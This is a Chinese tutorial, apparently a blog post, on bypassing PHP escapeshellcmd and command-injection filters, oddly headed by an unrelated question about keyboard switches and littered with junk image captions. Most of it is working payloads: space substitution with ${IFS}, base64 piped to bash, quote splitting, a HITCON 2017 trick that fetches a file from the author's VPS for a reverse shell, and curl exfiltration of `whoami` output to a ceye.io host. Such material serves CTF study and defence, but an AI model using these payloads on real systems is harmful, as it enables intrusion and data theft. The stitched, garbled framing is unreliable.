8种机械键盘轴体对比

本人程序员,要买一个写代码的键盘,请问红轴和茶轴怎么选?

命令执行过滤函数与绕过机制

escapeshellcmd函数:字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。(对可能进行欺骗命令执行函数的字符进行转义),下面来具体的看一下这个函数:

linux 跳过yes linux命令执行绕过_linux

再看一下源码(阅读源码有些吃力Orz)

linux 跳过yes linux命令执行绕过_linux 跳过yes_02

在windows平台是通过^来取消特殊字符的意义的,linux下应该是直接通过\来转义的,但是这里在windows下bat文件存在特别之处。

linux 跳过yes linux命令执行绕过_linux_03

成功用%1a绕过并进行命令执行,如果我们用||,|,&,&&这些命令管道分隔符,是会被函数转义过滤掉的。这里在说一下常用的几个管道符,我比较常用的是&&,|。

在linux下:

| 无论前面的命令存在与否,都只会显示后面命令的执行结果。

linux 跳过yes linux命令执行绕过_分隔符_04

&&必须要前面的命令是正确的,才可以执行后面的命令,并且会把两个命令的执行结果都显示出来。

linux 跳过yes linux命令执行绕过_转义_05

绕过命令中对空格的过滤

分隔符

${IFS}绕过:在linux下,${IFS}是分隔符的意思,所以可以有${IFS}进行空格的替代。

${IFS}$9绕过:$起截断作用,9为当前shell进程的第九个参数,始终为空字符串,所以同样能代替空字符串进行分割。

linux 跳过yes linux命令执行绕过_linux命令执行绕过_06

同样这里也可以cat${IFS}$9flag

重定向符绕过1

2payload1:cat<>flag

payload2:cat

linux 跳过yes linux命令执行绕过_linux命令执行绕过_07

拼接绕过1

2

3payload:a=c;b=at;$a$b flag

You GET IT

Base64编码绕过1

2

3

4

5

6

7

8

9payload1:

[email protected]:/home/aohan# `echo "Y2F0IGZsYWc="|base64 -d`

You Get It

payload2:

[email protected]:/home/aohan# echo "Y2F0IGZsYWc="|base64 -d|bash

You Get It

`反引号在Linux下代表命令执行,这个命令代表着将字符串进行base64解码,然后输出这个命令执行后的信息

利用文件中的字母绕

payload :expr substr $(awk NR==1 epoch) 1 1` “`expr substr $(awk NR==2 epoch) 1 1

linux 跳过yes linux命令执行绕过_linux 跳过yes_08

IP中.的绕过

将IP转化为长整数—-转换在线工具

单引号 双引号绕过

[email protected]:/home/aohan# cat f""lag
You Get It
[email protected]:/home/aohan# cat f''lag
You Get It
[email protected]:/home/aohan# cat f'l'ag
You Get It
[email protected]:/home/aohan# cat f'la'g
You Get It

都可以进行绕过

反斜线绕过

[email protected]:/home/aohan# cat flag
You Get It

无命令回显

例如HITCON2017的一道题:

<?php 
if(strlen($_GET[test])<8){
echo shell_exec($_GET[test]);
}
?>

就可以利用>写入文件名,>wget\,>www.baidu.com\ ,ls -t >g, sh g,执行命令,这里可以把百度换成自己vps上的文件反弹shell操作。

第二种无回显操作方法:

利用ceye.io

linux 跳过yes linux命令执行绕过_linux命令执行绕过_09

因为在Linux下exec与shell_exec这种函数基本上是没有回显的,所以我们只能把内容打到ceye.io上,执行命令`curl http://f1f0nd.ceye.io/```whoami ``,然后可以看到命令的回显

LINUX下一些已有字符${PS2} 对应字符 ‘>’

${PS4} 对应字符 ‘+’

${IFS} 对应 内部字段分隔符

${9} 对应 空字符串